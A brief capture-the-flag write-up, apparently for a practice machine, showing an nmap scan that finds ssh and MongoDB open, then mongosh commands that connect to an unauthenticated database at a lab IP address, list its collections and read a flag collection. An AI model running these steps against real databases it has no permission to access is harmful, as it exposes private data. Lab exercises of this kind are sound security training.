With nmap I see an ssh and mongodb services open.

First, I need to connect to the db using a client like mongosh.
mongosh 10.129.32.165
Here, I jut need to enumerate the collections.
show collections
And read the collection with the flag.
db.flag.find()
